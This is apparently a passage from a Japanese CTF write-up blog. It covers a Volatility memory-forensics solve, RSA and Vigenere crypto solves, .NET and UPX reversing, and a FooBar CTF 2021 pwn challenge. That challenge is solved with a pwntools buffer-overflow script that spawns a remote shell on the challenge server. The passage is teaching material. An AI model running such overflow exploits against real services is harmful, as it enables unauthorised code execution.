... 0xfffffa801a4f4560:winlogon.exe                   404    356      6    115 2021-04-03 05:09:45 UTC+0000
... 0xfffffa8018daa630:csrss.exe                      376    356      7    269 2021-04-03 05:09:45 UTC+0000
.... 0xfffffa801ab64060:conhost.exe                  1144    376      2     51 2021-04-03 05:09:57 UTC+0000
.. 0xfffffa801a77eb30:svchost.exe                     536    464     21    415 2021-04-03 05:09:47 UTC+0000
.. 0xfffffa801a68b060:svchost.exe                     632    464     10    280 2021-04-03 05:09:46 UTC+0000
.. 0xfffffa801a820b30:svchost.exe                    1176    464     24    326 2021-04-03 05:09:48 UTC+0000
.. 0xfffffa801a86eb30:svchost.exe                    1788    464      5     72 2021-04-03 05:10:51 UTC+0000
... 0xfffffa801aaa6b30:WerFault.exe                  2536   1788      7    148 2021-04-03 05:10:51 UTC+0000
. 0xfffffa801a4b23c0:lsm.exe                          480    364     11    147 2021-04-03 05:09:45 UTC+0000

$ volatility -f Challenge.vmem --profile=Win7SP1x64 cmdline
Volatility Foundation Volatility Framework 2.6
************************************************************************
System pid:      4
************************************************************************
smss.exe pid:    240
Command line : \SystemRoot\System32\smss.exe
************************************************************************
csrss.exe pid:    316
Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
************************************************************************
wininit.exe pid:    364
Command line : wininit.exe
************************************************************************
csrss.exe pid:    376
Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
************************************************************************
winlogon.exe pid:    404
Command line : winlogon.exe
************************************************************************
services.exe pid:    464
Command line : C:\Windows\system32\services.exe
************************************************************************
lsass.exe pid:    472
Command line : C:\Windows\system32\lsass.exe
************************************************************************
lsm.exe pid:    480
Command line : C:\Windows\system32\lsm.exe
************************************************************************
svchost.exe pid:    568
Command line : C:\Windows\system32\svchost.exe -k DcomLaunch
************************************************************************
svchost.exe pid:    632
Command line : C:\Windows\system32\svchost.exe -k RPCSS
************************************************************************
svchost.exe pid:    684
Command line : C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
************************************************************************
svchost.exe pid:    792
Command line : C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
************************************************************************
svchost.exe pid:    848
Command line : C:\Windows\system32\svchost.exe -k netsvcs
************************************************************************
audiodg.exe pid:    908
Command line : C:\Windows\system32\AUDIODG.EXE 0x2bc
************************************************************************
svchost.exe pid:    984
Command line : C:\Windows\system32\svchost.exe -k LocalService
************************************************************************
svchost.exe pid:    536
Command line : C:\Windows\system32\svchost.exe -k NetworkService
************************************************************************
dwm.exe pid:   1060
Command line : "C:\Windows\system32\Dwm.exe"
************************************************************************
explorer.exe pid:   1080
Command line : C:\Windows\Explorer.EXE
************************************************************************
spoolsv.exe pid:   1116
Command line : C:\Windows\System32\spoolsv.exe
************************************************************************
svchost.exe pid:   1176
Command line : C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
************************************************************************
taskhost.exe pid:   1184
Command line : "taskhost.exe"
************************************************************************
SearchIndexer. pid:   1912
Command line : C:\Windows\system32\SearchIndexer.exe /Embedding
************************************************************************
svchost.exe pid:   1220
Command line : C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
************************************************************************
SearchProtocol pid:   1272
Command line : "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-343819191-2795698350-1660738378-10001_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-343819191-2795698350-1660738378-10001 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"  "1"
************************************************************************
SearchFilterHo pid:   1504
Command line : "C:\Windows\system32\SearchFilterHost.exe" 0 504 508 516 65536 512 
************************************************************************
cmd.exe pid:   1708
Command line : "C:\Windows\system32\cmd.exe" 
************************************************************************
conhost.exe pid:   1144
Command line : \??\C:\Windows\system32\conhost.exe
************************************************************************
wmpnetwk.exe pid:    356
Command line : "C:\Program Files\Windows Media Player\wmpnetwk.exe"
************************************************************************
svchost.exe pid:   2100
Command line : C:\Windows\System32\svchost.exe -k LocalServicePeerNet
************************************************************************
WmiPrvSE.exe pid:   2356
Command line : C:\Windows\system32\wbem\wmiprvse.exe
************************************************************************
WinRAR.exe pid:   2836
Command line : "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\alexander\Downloads\L4ST.py.zip"
************************************************************************
iexplore.exe pid:   2980
Command line : "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
************************************************************************
iexplore.exe pid:   1092
Command line : "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2980 CREDAT:137473
************************************************************************
dllhost.exe pid:   1344
Command line : C:\Windows\system32\DllHost.exe /Processid:{76D0CB12-7604-4048-B83C-1005C7DDC503}
************************************************************************
svchost.exe pid:   1788
Command line : C:\Windows\System32\svchost.exe -k WerSvcGroup
************************************************************************
WerFault.exe pid:   2536
Command line : C:\Windows\system32\WerFault.exe -u -p 2836 -s 1696

$ volatility -f Challenge.vmem --profile=Win7SP1x64 consoles
Volatility Foundation Volatility Framework 2.6
**************************************************
ConsoleProcess: conhost.exe Pid: 1144
Console: 0xff716200 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: C:\Windows\system32\cmd.exe
AttachedProcess: cmd.exe Pid: 1708 Handle: 0x60
----
CommandHistory: 0x26e9c0 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 1 LastAdded: 0 LastDisplayed: 0
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60
Cmd #0 at 0x2478b0: UGFydCAxlC0gc2hha3RpY3Rme0gwcDM=
----
Screen 0x250f70 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]                                            
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.                 
                                                                                
C:\Users\alexander>UGFydCAxlC0gc2hha3RpY3Rme0gwcDM=                             
'UGFydCAxlC0gc2hha3RpY3Rme0gwcDM' is not recognized as an internal or external c
ommand,                                                                         
operable program or batch file.                                                 
                                                                                
C:\Users\alexander>

"UGFydCAxlC0gc2hha3RpY3Rme0gwcDM="をbase64デコードすると、フラグの断片の1つ目がわかる。

"Part 1- shaktictf{H0p3"

pngファイルに何か情報がないか確認する。

$ volatility -f Challenge.vmem --profile=Win7SP1x64 filescan | grep png
Volatility Foundation Volatility Framework 2.6
0x000000007de61680     16      0 R--r-- \Device\HarddiskVolume1\Program Files\Windows Media Player\Network Sharing\wmpnss_color48.png
0x000000007e269310     12      0 R--r-d \Device\HarddiskVolume1\Users\alexander\Documents\Part II.png
0x000000007f091970     12      0 R--r-d \Device\HarddiskVolume1\Windows\System32\pngfilt.dll

$ volatility -f Challenge.vmem --profile=Win7SP1x64 dumpfiles -D . -Q 0x000000007e269310
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x7e269310   None   \Device\HarddiskVolume1\Users\alexander\Documents\Part II.png
$ mv file.None.0xfffffa801a8691b0.dat "Part II.png"

$ zsteg "Part II.png" 
[?] 1289 bytes of extra data after image end (IEND), offset = 0x42af7
extradata:0         .. ["\x00" repeated 1289 times]
b1,rgb,lsb,xy       .. text: "Second part : _y0U_l1k3d_"★
b1,abgr,msb,xy      .. file: PGP\011Secret Key -
b2,r,msb,xy         .. text: "}UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"
b2,g,msb,xy         .. text: ["U" repeated 198 times]
b2,b,msb,xy         .. text: "_]UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"
b2,rgb,msb,xy       .. text: ["U" repeated 206 times]
b2,bgr,msb,xy       .. text: "WUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"
b2,abgr,msb,xy      .. text: ["W" repeated 189 times]
b4,r,msb,xy         .. text: ["w" repeated 222 times]
b4,g,msb,xy         .. text: ["w" repeated 222 times]
b4,b,msb,xy         .. text: ["w" repeated 223 times]
b4,rgb,msb,xy       .. text: ["w" repeated 156 times]
b4,bgr,msb,xy       .. text: ["w" repeated 155 times]
b4,abgr,msb,xy      .. file: RDI Acoustic Doppler Current Profiler (ADCP)

pngファイルのLSBにフラグの断片の2つ目が見つかった。他に怪しいpythonの圧縮ファイルがあったので、抽出して調べてみる。

$ volatility -f Challenge.vmem --profile=Win7SP1x64 filescan | grep L4ST.py.zip
Volatility Foundation Volatility Framework 2.6
0x000000007ec2c970      2      0 R--r-- \Device\HarddiskVolume1\Users\alexander\Downloads\L4ST.py.zip

$ volatility -f Challenge.vmem --profile=Win7SP1x64 dumpfiles -D . -Q 0x000000007ec2c970
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x7ec2c970   None   \Device\HarddiskVolume1\Users\alexander\Downloads\L4ST.py.zip
$ mv file.None.0xfffffa8019e2c600.dat L4ST.py.zip
$ unzip L4ST.py.zip 
Archive:  L4ST.py.zip
  inflating: L4ST.py.txt
$ cat L4ST.py.txt
s=4

y=[]

Z=[]

k=[]

Q="uh27bio:uY<xrA."

def yes(inp):

    st=[]

    for i in range (len(inp)):

        st.append(chr(ord(inp[i])-i+4))

    print(''.join(st)+"}")

def Checkin(inp):

    for i in range(len(inp)):

        if(len(inp)<=7):

            Z.append(chr(ord(inp[i])-1+i))

        else:

            Z.append(chr(ord(inp[i])+4))
    return(''.join(Z))

def tryin(text,s):
 
    result = ""
 
    for i in range(len(text)):     	char = text[i]

        if(char.isnumeric()):

            result+=(chr(ord(char)-1))

        elif(char.isupper()):
 
            result += chr((ord(char) + s-65) % 26 + 65)
 
        else:
 
            result+=(chr(ord(char)^1))

    return result 

X=input("Enter input:  ")

k=Checkin(tryin(X,s))

print(k)

if(Q==k):

    print("Yoo.. looks like your flag is complete!!")

    yes(X)


else:

    print("try again:/ ")

このスクリプトの処理概要は以下の通り。

・X: 入力
・k=Checkin(tryin(X, 4))
 ・tryin(X, 4)
  ・Xの各文字について以下のように変換して結合する。
   ・数値の場合、ASCIIコードを1小さくした文字
   ・英大文字の場合、4シフトした文字(英大文字の中でループ)
   ・その他の場合、ASCIIコードで1とのXORをした文字
 ・Checkin(...)
  ・7文字以下の場合、各文字のASCIIコード-1+iをする。
  ・その他の場合、各文字のASCIIコード+4をする。
・Q=kとなればOK

逆算してXを割り出す。

def yes(inp):
    st=[]
    for i in range(len(inp)):
        st.append(chr(ord(inp[i]) - i + 4))
    print(''.join(st) + '}')

def rev_Checkin_L(inp):
    s = ''
    for i in range(len(inp)):
        s += chr(ord(inp[i]) - 4)
    return s

def rev_tryin(text, s):
    result = ''
    for i in range(len(text)):
        char = text[i]
        if ord(char) + 1 >= ord('0') and ord(char) + 1 <= ord('9'):
            result += chr(ord(char) + 1)
        elif char.isupper():
            result += chr((ord(char) - s - 65) % 26 + 65)
        else:
            result += chr(ord(char) ^ 1)
    return result

Q = 'uh27bio:uY<xrA.'

X = rev_tryin(rev_Checkin_L(Q), 4)
yes(X)

この結果、フラグの断片の3つ目がわかった。

th15_ch4lL3ng3!}

すべて結合すると、フラグになる。

shaktictf{H0p3_y0U_l1k3d_th15_ch4lL3ng3!}

Classically Easy (Cryptography 50)

Vigenere暗号と推測し、https://www.guballa.de/vigenere-solverで復号する。

shaktictf{lets_start_with_something_classical!}

z3r000 (Cryptography 100)

flagに\x00を200バイトパディングしてRSA暗号化しているので、以下のようになる。

ct = pow(flag * 256**200, e, n)
   = pow(flag, e, n) * pow(256**200, e, n)

pow(flag, e, n) = (ct * inverse(pow(256**200, e, n), n)) % n

flagがnに比べ、十分小さいことを前提にLow Public Exponent Attackで復号する。

import gmpy
from Crypto.Util.number import *

n = 21715343886495928351215193978711929756420132478733511337712828323191033721473249522742310880995705726364659155923831862520713609810234090293129894330795897314385036353796299339012807424848725536681375374406626571246675194305322084373494309780483230258395289370971774836794623911704539272083398677190964132595561342176374613443236001057127606148055300330917664419125803955455242203465159778064534281149697964754267795556384685979413144901477909683027731425979539827440413451284858488486792558571039442704074516658347717422970337132798573245689067635331499343815761456951640935339048955499678787141314816545395882094131
ct = 19258881721319838539457302108079805924007184173822525342017749987730421113475524675098820917522804638672433509736065357049144293036488371316019861512588425245150715231139464779572365549429694270196306310887787115617307657620629796823034717298229261451513996300641103453971960273159526614861159508208543734860681157877266608856017428170839087144791926229543722615522167842436520721255660377919759130818061138963229370323538021083594114722358233907874550197614395737551656382256624656798688943064922359100344464350636071751200925945768396168482676392175499672384759914433676349457259681832749703857971930447279797608485
e = 3

c = (ct * inverse(pow(256, e*200, n), n)) % n
m = gmpy.root(c, e)[0]
flag = long_to_bytes(m)
print flag
shaktictf{YouHaveGotAGoodEyeInFindingBugsMoreWayToGo}

FooBar CTF 2021 Writeup

この大会は2021/4/1 3:30(JST)~2021/4/2 3:30(JST)に開催されました。
今回もチームで参戦。結果は1998点で404チーム中26位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

GLUG{free_fl4g_fr0m_tuX_g4ng}

Babypwn (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_18 [16];
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  puts(&DAT_00402010);
  fgets(local_18,0x80,stdin);
  return 0;
}

void win(void)

{
  char *local_18;
  char *local_10;
  
  local_10 = (char *)0x0;
  local_18 = (char *)0x0;
  execve("/bin/sh",&local_10,&local_18);
  return;
}

BOFでwinをコールできればよい。

$ gdb -q chall
Reading symbols from chall...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/chall 
I feel like I’m always searching for someone, or something.
aaaaaaaaaaaaaaaaaaaa
[Inferior 1 (process 19580) exited normally]
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/chall 
I feel like I’m always searching for someone, or something.
aaaaaaaaaaaaaaaa0123456789abcdef

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x1 
RDX: 0x7ffff7dcf8d0 --> 0x0 
RSI: 0x7fffffffdf80 ('a' <repeats 15 times>...)
RDI: 0x7fffffffdf81 ('a' <repeats 15 times>...)
RBP: 0x3736353433323130 (b'01234567')
RSP: 0x7fffffffdf98 ("89abcdef\n")
RIP: 0x40123e (<main+114>:	ret)
R8 : 0x405281 --> 0x0 
R9 : 0x7ffff7fd94c0 (0x00007ffff7fd94c0)
R10: 0x405010 --> 0x0 
R11: 0x246 
R12: 0x4010b0 (<_start>:	endbr64)
R13: 0x7fffffffe070 --> 0x1 
R14: 0x0 
R15: 0x0
[------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x000000000040123e in main ()

gdb-peda$ p &win
$1 = (<text variable, no debug info> *) 0x401196 <win>

RSPのアドレスにこのアドレスを書き込む。

from pwn import *

p = remote('chall.nitdgplug.org', 30041)
#p = process('./chall')

data = p.recvline().rstrip()
print data
payload = 'a' * 24 + p64(0x401196)
print payload
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to chall.nitdgplug.org on port 30041: Done
I feel like I’m always searching for someone, or something.
aaaaaaaaaaaaaaaaaaaaaaaa\x96\x11\x00\x00\x00
[*] Switching to interactive mode
$ ls
bin
chall
dev
flag.txt
lib
lib32
lib64
$ cat flag.txt
GLUG{h0w_w45_7h3_w4rmup_23745bb8d1daa6b3}
GLUG{h0w_w45_7h3_w4rmup_23745bb8d1daa6b3}

NET_DOT (reverse)

dnSpyでデコンパイルする。

using System;

namespace win
{
	// Token: 0x02000002 RID: 2
	internal class Program
	{
		// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
		private static int sum_all(string password)
		{
			int num = 0;
			foreach (char c in password)
			{
				num += (int)c;
			}
			return num;
		}

		// Token: 0x06000002 RID: 2 RVA: 0x0000208C File Offset: 0x0000028C
		private static int check(int[] values)
		{
			int[] array = new int[]
			{
				2410,
				2404,
				2430,
				2408,
				2391,
				2381,
				2333,
				2396,
				2369,
				2332,
				2398,
				2422,
				2332,
				2397,
				2416,
				2370,
				2393,
				2304,
				2393,
				2333,
				2416,
				2376,
				2371,
				2305,
				2377,
				2391
			};
			int result = 0;
			for (int i = 0; i < array.Length; i++)
			{
				bool flag = array[i] == values[i];
				if (!flag)
				{
					result = 0;
					break;
				}
				result = 1;
			}
			return result;
		}

		// Token: 0x06000003 RID: 3 RVA: 0x000020E4 File Offset: 0x000002E4
		private static void Main(string[] args)
		{
			Console.WriteLine("Hello there mate \nJust enter the flag to check : ");
			string text = Console.ReadLine();
			int[] array = new int[26];
			bool flag = text.Length != 26;
			if (flag)
			{
				Console.WriteLine("Input length error");
				Console.ReadLine();
			}
			else
			{
				for (int i = 0; i < text.Length; i++)
				{
					array[i] = (int)text[i];
				}
				int[] array2 = new int[26];
				for (int j = 0; j < 26; j++)
				{
					array2[j] = (array[j] - (j % 2 * 2 + j % 3) ^ Program.sum_all(text));
				}
				int num = Program.check(array2);
				bool flag2 = num == 1;
				if (flag2)
				{
					Console.WriteLine("Your flag : " + text);
					Console.ReadLine();
				}
				else
				{
					Console.WriteLine("try harder");
					Console.ReadLine();
				}
			}
		}
	}
}

これを読み解く。

・flagの長さは26
・array[i]: flagの各文字のASCIIコードの配列
・array2[j]: (array[j] - (j % 2 * 2 + j % 3) ^ flagの各文字のASCIIコードの和
・array2[j]の各数値がcheckメソッド内のarrayの各数値と一致していればよい。

フラグは"GLUG"から始めることを前提に逆算する。

array = [2410, 2404, 2430, 2408, 2391, 2381, 2333, 2396, 2369, 2332, 2398, 2422, 2332, 2397, 2416, 2370, 2393, 2304, 2393, 2333, 2416, 2376, 2371, 2305, 2377, 2391]

FLAG_HEAD = 'GLUG{'

sum_all = ord(FLAG_HEAD[0]) ^ array[0]

flag = ''
for i in range(26):
    code = (array[i] ^ sum_all) + (i % 2 * 2 + i % 3)
    flag += chr(code)
print flag
GLUG{d0tn3t_1s_qu1t3_go0d}

Child_rev (reverse)

$ upx -d childrev
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2017
UPX 3.94        Markus Oberhumer, Laszlo Molnar & John Reiser   May 12th 2017

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    910136 <-    406024   44.61%   linux/amd64   childrev

Unpacked 1 file.

UPXアンパックしたものをGhidraでデコンパイルする。

undefined8 main(void)

{
  undefined local_38 [40];
  int local_10;
  char local_c;
  char local_b;
  char local_a;
  char local_9;
  
  printf("ENTER THE FLAG : ");
  __isoc99_scanf(&DAT_0049e182,local_38);
  local_9 = 'G';
  local_a = 'L';
  local_b = 'U';
  local_c = 'G';
  local_10 = XOR(local_38,0x47,0x4c,0x55,0x47);
  if (local_10 == 0) {
    puts("USE GHIDRA CUTTER OR IDA , THEN IT WILL BE EASY\n");
  }
  else {
    printf("YAY U MADE IT \n%c%c%c%c{%s}\n",(ulong)(uint)(int)local_9,(ulong)(uint)(int)local_a,
           (ulong)(uint)(int)local_b,(ulong)(uint)(int)local_c,local_38);
  }
  return 0;
}

undefined4 XOR(long param_1,char param_2,char param_3,char param_4,char param_5)

{
  ulong uVar1;
  long lVar2;
  ulong *puVar3;
  ulong *puVar4;
  byte bVar5;
  ulong local_248 [34];
  ulong auStack312 [36];
  int local_14;
  undefined4 local_10;
  int local_c;
  
  bVar5 = 0;
  uVar1 = gen_key((int)param_2,(int)param_3,(int)param_4,(int)param_5);
  local_c = 0;
  while (local_c < 0x22) {
    auStack312[local_c] = (long)*(char *)(param_1 + local_c) ^ uVar1;
    local_c = local_c + 1;
  }
  lVar2 = 0x22;
  puVar3 = &DAT_0049e060;
  puVar4 = local_248;
  while (lVar2 != 0) {
    lVar2 = lVar2 + -1;
    *puVar4 = *puVar3;
    puVar3 = puVar3 + (ulong)bVar5 * -2 + 1;
    puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
  }
  local_10 = 0;
  local_14 = 0;
  while( true ) {
    if (0x21 < local_14) {
      return local_10;
    }
    if (auStack312[local_14] != local_248[local_14]) break;
    local_10 = 1;
    local_14 = local_14 + 1;
  }
  return 0;
}

long gen_key(char param_1,char param_2,char param_3,char param_4)

{
  long lVar1;
  long local_10;
  
  lVar1 = ((long)param_1 + (long)param_2 + (long)param_3 + (long)param_4) * 0x100;
  rand();
  local_10 = 600000;
  while (local_10 < 800000) {
    if (local_10 == lVar1) {
      puts("Maybe You are close or maybe not\n");
    }
    local_10 = local_10 + 0x65;
  }
  return lVar1;
}

                             DAT_0049e060                                    XREF[2]:     XOR:00401ddc(*), XOR:00401dee(R)  
        0049e060 78 2f 01        undefined8 0000000000012F78h
                 00 00 00 
                 00 00
        0049e068 30              ??         30h    0
        0049e069 2f              ??         2Fh    /
        0049e06a 01              ??         01h
        0049e06b 00              ??         00h
        0049e06c 00              ??         00h
        0049e06d 00              ??         00h
        0049e06e 00              ??         00h
        0049e06f 00              ??         00h
        0049e070 72              ??         72h    r
        0049e071 2f              ??         2Fh    /
        0049e072 01              ??         01h
        0049e073 00              ??         00h
        0049e074 00              ??         00h
        0049e075 00              ??         00h
        0049e076 00              ??         00h
        0049e077 00              ??         00h
        0049e078 5f              ??         5Fh    _
        0049e079 2f              ??         2Fh    /
        0049e07a 01              ??         01h
        0049e07b 00              ??         00h
        0049e07c 00              ??         00h
        0049e07d 00              ??         00h
        0049e07e 00              ??         00h
        0049e07f 00              ??         00h
        0049e080 61              ??         61h    a
        0049e081 2f              ??         2Fh    /
        0049e082 01              ??         01h
        0049e083 00              ??         00h
        0049e084 00              ??         00h
        0049e085 00              ??         00h
        0049e086 00              ??         00h
        0049e087 00              ??         00h
        0049e088 6e              ??         6Eh    n
        0049e089 2f              ??         2Fh    /
        0049e08a 01              ??         01h
        0049e08b 00              ??         00h
        0049e08c 00              ??         00h
        0049e08d 00              ??         00h
        0049e08e 00              ??         00h
        0049e08f 00              ??         00h
        0049e090 64              ??         64h    d
        0049e091 2f              ??         2Fh    /
        0049e092 01              ??         01h
        0049e093 00              ??         00h
        0049e094 00              ??         00h
        0049e095 00              ??         00h
        0049e096 00              ??         00h
        0049e097 00              ??         00h
        0049e098 5f              ??         5Fh    _
        0049e099 2f              ??         2Fh    /
        0049e09a 01              ??         01h
        0049e09b 00              ??         00h
        0049e09c 00              ??         00h
        0049e09d 00              ??         00h
        0049e09e 00              ??         00h
        0049e09f 00              ??         00h
        0049e0a0 6c              ??         6Ch    l
        0049e0a1 2f              ??         2Fh    /
        0049e0a2 01              ??         01h
        0049e0a3 00              ??         00h
        0049e0a4 00              ??         00h
        0049e0a5 00              ??         00h
        0049e0a6 00              ??         00h
        0049e0a7 00              ??         00h
        0049e0a8 30              ??         30h    0
        0049e0a9 2f              ??         2Fh    /
        0049e0aa 01              ??         01h
        0049e0ab 00              ??         00h
        0049e0ac 00              ??         00h
        0049e0ad 00              ??         00h
        0049e0ae 00              ??         00h
        0049e0af 00              ??         00h
        0049e0b0 67              ??         67h    g
        0049e0b1 2f              ??         2Fh    /
        0049e0b2 01              ??         01h
        0049e0b3 00              ??         00h
        0049e0b4 00              ??         00h
        0049e0b5 00              ??         00h
        0049e0b6 00              ??         00h
        0049e0b7 00              ??         00h
        0049e0b8 31              ??         31h    1
        0049e0b9 2f              ??         2Fh    /
        0049e0ba 01              ??         01h
        0049e0bb 00              ??         00h
        0049e0bc 00              ??         00h
        0049e0bd 00              ??         00h
        0049e0be 00              ??         00h
        0049e0bf 00              ??         00h
        0049e0c0 63              ??         63h    c
        0049e0c1 2f              ??         2Fh    /
        0049e0c2 01              ??         01h
        0049e0c3 00              ??         00h
        0049e0c4 00              ??         00h
        0049e0c5 00              ??         00h
        0049e0c6 00              ??         00h
        0049e0c7 00              ??         00h
        0049e0c8 40              ??         40h    @
        0049e0c9 2f              ??         2Fh    /
        0049e0ca 01              ??         01h
        0049e0cb 00              ??         00h
        0049e0cc 00              ??         00h
        0049e0cd 00              ??         00h
        0049e0ce 00              ??         00h
        0049e0cf 00              ??         00h
        0049e0d0 6c              ??         6Ch    l
        0049e0d1 2f              ??         2Fh    /
        0049e0d2 01              ??         01h
        0049e0d3 00              ??         00h
        0049e0d4 00              ??         00h
        0049e0d5 00              ??         00h
        0049e0d6 00              ??         00h
        0049e0d7 00              ??         00h
        0049e0d8 5f              ??         5Fh    _
        0049e0d9 2f              ??         2Fh    /
        0049e0da 01              ??         01h
        0049e0db 00              ??         00h
        0049e0dc 00              ??         00h
        0049e0dd 00              ??         00h
        0049e0de 00              ??         00h
        0049e0df 00              ??         00h
        0049e0e0 73              ??         73h    s
        0049e0e1 2f              ??         2Fh    /
        0049e0e2 01              ??         01h
        0049e0e3 00              ??         00h
        0049e0e4 00              ??         00h
        0049e0e5 00              ??         00h
        0049e0e6 00              ??         00h
        0049e0e7 00              ??         00h
        0049e0e8 68              ??         68h    h
        0049e0e9 2f              ??         2Fh    /
        0049e0ea 01              ??         01h
        0049e0eb 00              ??         00h
        0049e0ec 00              ??         00h
        0049e0ed 00              ??         00h
        0049e0ee 00              ??         00h
        0049e0ef 00              ??         00h
        0049e0f0 31              ??         31h    1
        0049e0f1 2f              ??         2Fh    /
        0049e0f2 01              ??         01h
        0049e0f3 00              ??         00h
        0049e0f4 00              ??         00h
        0049e0f5 00              ??         00h
        0049e0f6 00              ??         00h
        0049e0f7 00              ??         00h
        0049e0f8 66              ??         66h    f
        0049e0f9 2f              ??         2Fh    /
        0049e0fa 01              ??         01h
        0049e0fb 00              ??         00h
        0049e0fc 00              ??         00h
        0049e0fd 00              ??         00h
        0049e0fe 00              ??         00h
        0049e0ff 00              ??         00h
        0049e100 74              ??         74h    t
        0049e101 2f              ??         2Fh    /
        0049e102 01              ??         01h
        0049e103 00              ??         00h
        0049e104 00              ??         00h
        0049e105 00              ??         00h
        0049e106 00              ??         00h
        0049e107 00              ??         00h
        0049e108 5f              ??         5Fh    _
        0049e109 2f              ??         2Fh    /
        0049e10a 01              ??         01h
        0049e10b 00              ??         00h
        0049e10c 00              ??         00h
        0049e10d 00              ??         00h
        0049e10e 00              ??         00h
        0049e10f 00              ??         00h
        0049e110 65              ??         65h    e
        0049e111 2f              ??         2Fh    /
        0049e112 01              ??         01h
        0049e113 00              ??         00h
        0049e114 00              ??         00h
        0049e115 00              ??         00h
        0049e116 00              ??         00h
        0049e117 00              ??         00h
        0049e118 40              ??         40h    @
        0049e119 2f              ??         2Fh    /
        0049e11a 01              ??         01h
        0049e11b 00              ??         00h
        0049e11c 00              ??         00h
        0049e11d 00              ??         00h
        0049e11e 00              ??         00h
        0049e11f 00              ??         00h
        0049e120 73              ??         73h    s
        0049e121 2f              ??         2Fh    /
        0049e122 01              ??         01h
        0049e123 00              ??         00h
        0049e124 00              ??         00h
        0049e125 00              ??         00h
        0049e126 00              ??         00h
        0049e127 00              ??         00h
        0049e128 79              ??         79h    y
        0049e129 2f              ??         2Fh    /
        0049e12a 01              ??         01h
        0049e12b 00              ??         00h
        0049e12c 00              ??         00h
        0049e12d 00              ??         00h
        0049e12e 00              ??         00h
        0049e12f 00              ??         00h
        0049e130 5f              ??         5Fh    _
        0049e131 2f              ??         2Fh    /
        0049e132 01              ??         01h
        0049e133 00              ??         00h
        0049e134 00              ??         00h
        0049e135 00              ??         00h
        0049e136 00              ??         00h
        0049e137 00              ??         00h
        0049e138 72              ??         72h    r
        0049e139 2f              ??         2Fh    /
        0049e13a 01              ??         01h
        0049e13b 00              ??         00h
        0049e13c 00              ??         00h
        0049e13d 00              ??         00h
        0049e13e 00              ??         00h
        0049e13f 00              ??         00h
        0049e140 31              ??         31h    1
        0049e141 2f              ??         2Fh    /
        0049e142 01              ??         01h
        0049e143 00              ??         00h
        0049e144 00              ??         00h
        0049e145 00              ??         00h
        0049e146 00              ??         00h
        0049e147 00              ??         00h
        0049e148 67              ??         67h    g
        0049e149 2f              ??         2Fh    /
        0049e14a 01              ??         01h
        0049e14b 00              ??         00h
        0049e14c 00              ??         00h
        0049e14d 00              ??         00h
        0049e14e 00              ??         00h
        0049e14f 00              ??         00h
        0049e150 68              ??         68h    h
        0049e151 2f              ??         2Fh    /
